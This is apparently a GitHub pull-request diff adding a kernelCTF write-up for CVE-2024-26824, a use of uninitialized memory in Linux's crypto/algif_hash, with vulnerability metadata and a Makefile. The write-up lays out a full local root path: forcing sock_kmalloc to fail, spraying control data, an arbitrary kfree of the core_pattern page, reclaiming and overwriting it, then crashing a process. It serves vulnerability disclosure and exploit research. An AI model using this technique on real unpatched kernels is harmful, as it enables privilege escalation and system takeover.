Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
229 changes: 229 additions & 0 deletions pocs/linux/kernelctf/CVE-2024-26824_mitigation/docs/exploit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,229 @@
# Vulnerability
This bug is reachable if `hash_alloc_result` fails. The code jumps to `unlock_free` and calls `af_alg_free_sg` on `&ctx->sgl` before `&ctx->sgl` is initialized:
```C
static int hash_alloc_result(struct sock *sk, struct hash_ctx *ctx)
{
....
ctx->result = sock_kmalloc(sk, ds, GFP_KERNEL);
if (!ctx->result)
return -ENOMEM;
}

static int hash_sendmsg(struct socket *sock, struct msghdr *msg,
size_t ignored)
{
struct hash_ctx *ctx = ask->private;
....
} else if (!msg_data_left(msg)) {
/*
* No data - finalise the prev req if MSG_MORE so any error
* comes out here.
*/
if (!(msg->msg_flags & MSG_MORE)) {
err = hash_alloc_result(sk, ctx);
if (err)
goto unlock_free;
....
unlock_free:
af_alg_free_sg(&ctx->sgl);
hash_free_result(sk, ctx);
ctx->more = false;
goto unlock;
}
```
We can make `hash_alloc_result` fail by making `sock_kmalloc` fail
```C
/*
* Allocate a memory block from the socket's option memory buffer.
*/
void *sock_kmalloc(struct sock *sk, int size, gfp_t priority)
{
int optmem_max = READ_ONCE(sysctl_optmem_max);

if ((unsigned int)size <= optmem_max &&
atomic_read(&sk->sk_omem_alloc) + size < optmem_max) {
void *mem;
/* First do the add, to avoid the race if kmalloc
* might sleep.
*/
atomic_add(size, &sk->sk_omem_alloc);
mem = kmalloc(size, priority);
if (mem)
return mem;
atomic_sub(size, &sk->sk_omem_alloc);
}
return NULL;
}
```
We can increase `sk_omem_alloc` by call sendmsg with large control data like this:
```C
struct msghdr msg = {
.msg_iovlen = 1,
.msg_iov = &iov,
.msg_control = buf,
.msg_controllen = 0x4cdf,
};
sendmsg(opfd2, &msg, 0);
```
In `____sys_sendmsg` it will use `sock_kmalloc` to copy msg control data, so it can also increase `sk->sk_omem_alloc` and cause future `sock_kmalloc` calls to fail.
```C
static int ____sys_sendmsg(struct socket *sock, struct msghdr *msg_sys,
unsigned int flags, struct used_address *used_address,
unsigned int allowed_msghdr_flags)
{
....
BUILD_BUG_ON(sizeof(struct cmsghdr) !=
CMSG_ALIGN(sizeof(struct cmsghdr)));
if (ctl_len > sizeof(ctl)) {
ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
if (ctl_buf == NULL)
goto out;
}
err = -EFAULT;
if (copy_from_user(ctl_buf, msg_sys->msg_control_user, ctl_len))
goto out_freectl;
msg_sys->msg_control = ctl_buf;
```

Because of this bug, we can reach `af_alg_free_sg` and control the entire `sgl` struct originating from uninitialized memory:
```C
void af_alg_free_sg(struct af_alg_sgl *sgl)
{
int i;

if (sgl->sgt.sgl) {
if (sgl->need_unpin)
for (i = 0; i < sgl->sgt.nents; i++)
unpin_user_page(sg_page(&sgl->sgt.sgl[i]));
if (sgl->sgt.sgl != sgl->sgl)
kvfree(sgl->sgt.sgl);
sgl->sgt.sgl = NULL;
}
}
```

# Exploit

## Step 1: Memory Depletion and Spraying
The `sgl` comes from the `hash_ctx` object. It is allocated at `hash_accept_parent_nokey` when we call `accept` on a bound algorithm hash socket.
```C
static int hash_accept_parent_nokey(void *private, struct sock *sk)
{
struct crypto_ahash *tfm = private;
struct alg_sock *ask = alg_sk(sk);
struct hash_ctx *ctx;
unsigned int len = sizeof(*ctx) + crypto_ahash_reqsize(tfm);

ctx = sock_kmalloc(sk, len, GFP_KERNEL);
if (!ctx)
return -ENOMEM;
```

To control uninitialized data, we just use previously allocated msg control data, it also use `sock_kmalloc`
```C
static int ____sys_sendmsg(struct socket *sock, struct msghdr *msg_sys,
unsigned int flags, struct used_address *used_address,
unsigned int allowed_msghdr_flags)
{
....
BUILD_BUG_ON(sizeof(struct cmsghdr) !=
CMSG_ALIGN(sizeof(struct cmsghdr)));
if (ctl_len > sizeof(ctl)) {
ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
if (ctl_buf == NULL)
goto out;
}
err = -EFAULT;
if (copy_from_user(ctl_buf, msg_sys->msg_control_user, ctl_len))
goto out_freectl;
msg_sys->msg_control = ctl_buf;
```
It uses the same wrapper function, so it will get the same random kmalloc cache because it is called from the same return address. We then just make sure the allocation size is the same as the size of `hash_ctx`.

## Step 2: Triggering the Vulnerability
In `af_alg_free_sg` we can do two things:
1. Arbitrary unpin pages:
```C
for (i = 0; i < sgl->sgt.nents; i++)
unpin_user_page(sg_page(&sgl->sgt.sgl[i]));
```
2. Arbitrary free:
```C
kvfree(sgl->sgt.sgl);
```

Since the page address is a linear mapping of the physical address, we can free any page if we know its address. However, the struct address itself is located at `*vmemmap_base`, which happens to be randomized, and we don't necessarily know what page we are targeting. Therefore, `unpin_user_page` might not be fit for the current case.

In the kernelCTF environment, at best we can have a kernel text leak from a prefetch side channel. We also noted that `kfree` can free any kernel virtual address, not just slab heap addresses.

```C
void kvfree(const void *addr)
{
if (is_vmalloc_addr(addr))
vfree(addr);
else
kfree(addr);
}

void kfree(const void *object)
{
struct folio *folio;
struct slab *slab;
struct kmem_cache *s;

trace_kfree(_RET_IP_, object);

if (unlikely(ZERO_OR_NULL_PTR(object)))
return;

if (unlikely(!is_slab_addr(object))) { // [1]
folio = virt_to_folio(object);
if (slab_virtual_enabled() &&
CHECK_DATA_CORRUPTION(folio_test_slab(folio),
"unexpected slab page mapped outside slab range"))
return;
free_large_kmalloc(folio, (void *)object);
return;
}

slab = virt_to_slab(object);
s = slab->slab_cache;
__kmem_cache_free(s, (void *)object, _RET_IP_);
}
EXPORT_SYMBOL(kfree);

void free_large_kmalloc(struct folio *folio, void *object)
{
unsigned int order = folio_order(folio);

if (WARN_ON_ONCE(order == 0))
pr_warn_once("object pointer: 0x%p\n", object);

kmemleak_free(object);
kasan_kfree_large(object);
kmsan_kfree_large(object);

mod_lruvec_page_state(folio_page(folio, 0), NR_SLAB_UNRECLAIMABLE_B,
-(PAGE_SIZE << order));
__free_pages(folio_page(folio, 0), order);
}
```

As you can see at [1], if the object address is not a slab, it will call `free_large_kmalloc`, which will happily call `__free_pages` on the passed folio. At this time we just need a kernel virtual address; no page address is needed because `virt_to_folio` will convert it for us.

## Step 3: Overwriting core_pattern and Root Shell Setup
Because we only have a kernel text address (along with data and bss because it's relative), we further considered what happens if we `kfree` a kernel data address. We tried it directly, and surprisingly it works! We tried to `kfree` the `core_pattern` address, and its backing page was inserted into the buddy page free list. When we use the command `buddy-dump` with `bata-gef`, it shows our `core_pattern` page was inserted into the zone DMA32 pcp free list:
```C
core_pattern: 0xffffffff83808a60
----------------------------------------------------------- zone[1] @ 0xffff88811fffa140 (DMA32) -----------------------------------------------------------
---------------------------------------------------------------------- per_cpu_pageset ----------------------------------------------------------------------
cpu: 0
pcp_index: 0, order: 0 (0x001000 bytes), mtype: 0 (=Unmovable)
pcp_index: 1, order: 0 (0x001000 bytes), mtype: 1 (=Movable)
page:0xffffea00000e0200 size:0x001000 virt:0xffff888003808000-0xffff888003809000 phys:0x0000000003808000-0x0000000003809000 (pcp)
```

If we try to reclaim it, it looks difficult, but we found out later that we can reclaim it if we have memory pressure. We can mmap a big chunk of memory before the exploit, and after we `kfree` the `core_pattern`, we keep mmaps and writes until the `core_pattern` is overwritten. With this technique, we need to fake the entire `core_pattern` page, which is not difficult since the whole page only contains kernel text addresses which we can calculate from the side-channel kernel text leak.

After we overwrite `core_pattern`, we can crash our own process and force the kernel to run our binary as root and read the flag.

Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
- Requirements:
- Capabilities:
- Kernel configuration: CONFIG_CRYPTO_USER_API_HASH
- User namespaces required: No
- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b6d972f6898308fbe7e693bf8d44ebfdb1cd2dc4
- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24c890dd712f6345e382256cae8c97abb0406b70
- Affected Version: v6.4 - v6.8
- Affected Component: crypto/algif_hash
- Cause: Use of Uninitialized Variable
- Syscall to disable:
- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-26824
- Description: Use of an uninitialized variable in the Linux kernel's crypto/algif_hash

Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
all: exploit
exploit:exploit.c
gcc -static-pie -o exploit exploit.c
push: exploit
scp exploit vm:
install: push
ssh vm ./exploit
Binary file not shown.
Loading
Loading